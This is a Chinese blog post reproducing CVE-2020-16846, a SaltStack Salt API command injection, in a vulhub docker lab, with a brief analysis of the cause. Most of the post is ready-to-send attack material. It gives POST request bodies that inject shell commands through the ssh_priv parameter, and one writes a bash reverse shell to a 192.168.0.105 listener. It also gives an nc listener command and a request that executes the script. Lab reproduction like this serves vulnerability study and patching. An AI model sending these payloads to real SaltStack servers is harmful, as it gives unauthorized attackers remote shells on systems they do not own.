CVE漏洞复现-CVE-2020-16846SaltStack命令注入
CVE-2020-16846SaltStack命令注入
CVE-2020-16846
漏洞描述
SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。2020年11月SaltStack官方披露了CVE-2020-16846,CVE-2020-16846允许用户执行任意命令。组合这两个漏洞,将可以使未授权的攻击者通
过Salt API执行任意命令
影响范围:
SaltStack < 3002.1 SaltStack < 3001.3 SaltStack < 3000.5 SaltStack < 2019.2.7
漏洞复现
docker和漏洞环境的安装教程vulhub都有提供,我这里便不复述了
1、进入CVE-2020-16846,在vulhub上启动docker
docker-compose up -d
查看docker漏洞环境是否搭建好了
docker ps
2、访问docker靶机 https://ip:8000
3、使用BP抓包访问地址 https://ip:8000/run,右键发送给重发器
4、更改请求为POST并且插入请求体,修改如下
token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|touch%20/tmp/suc cess%3b
5、写一个sh文件里面是反弹shell的命令
token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|echo 'bash -i >%26 /dev/tcp/192.168.0.105/4567 0>%261' >/tmp/qianfu.sh%3b
7、使用NC接收反弹shell的命令
nc -lvvp 4567
8、执行sh文件,即可得到反弹shell
token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa| bash%20/tmp/qianfu.sh%3b
9、NC接收的反弹shell
漏洞分析
该漏洞的成因是因为 salt/client/ssh/shell.py 文件没有对用户参数进行严格的过滤,导致可以执行命令
cmd中的内容是由一段固定值+format中的path拼接而成,没有任何的过滤 subprocess.call(cmd,shell=True) 是下执行系统命令的函数 如果path的内容可以控制就可以造成命令执行
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 单线程的Redis速度为什么快?
· 展开说说关于C#中ORM框架的用法!
· Pantheons:用 TypeScript 打造主流大模型对话的一站式集成库
· SQL Server 2025 AI相关能力初探
· 为什么 退出登录 或 修改密码 无法使 token 失效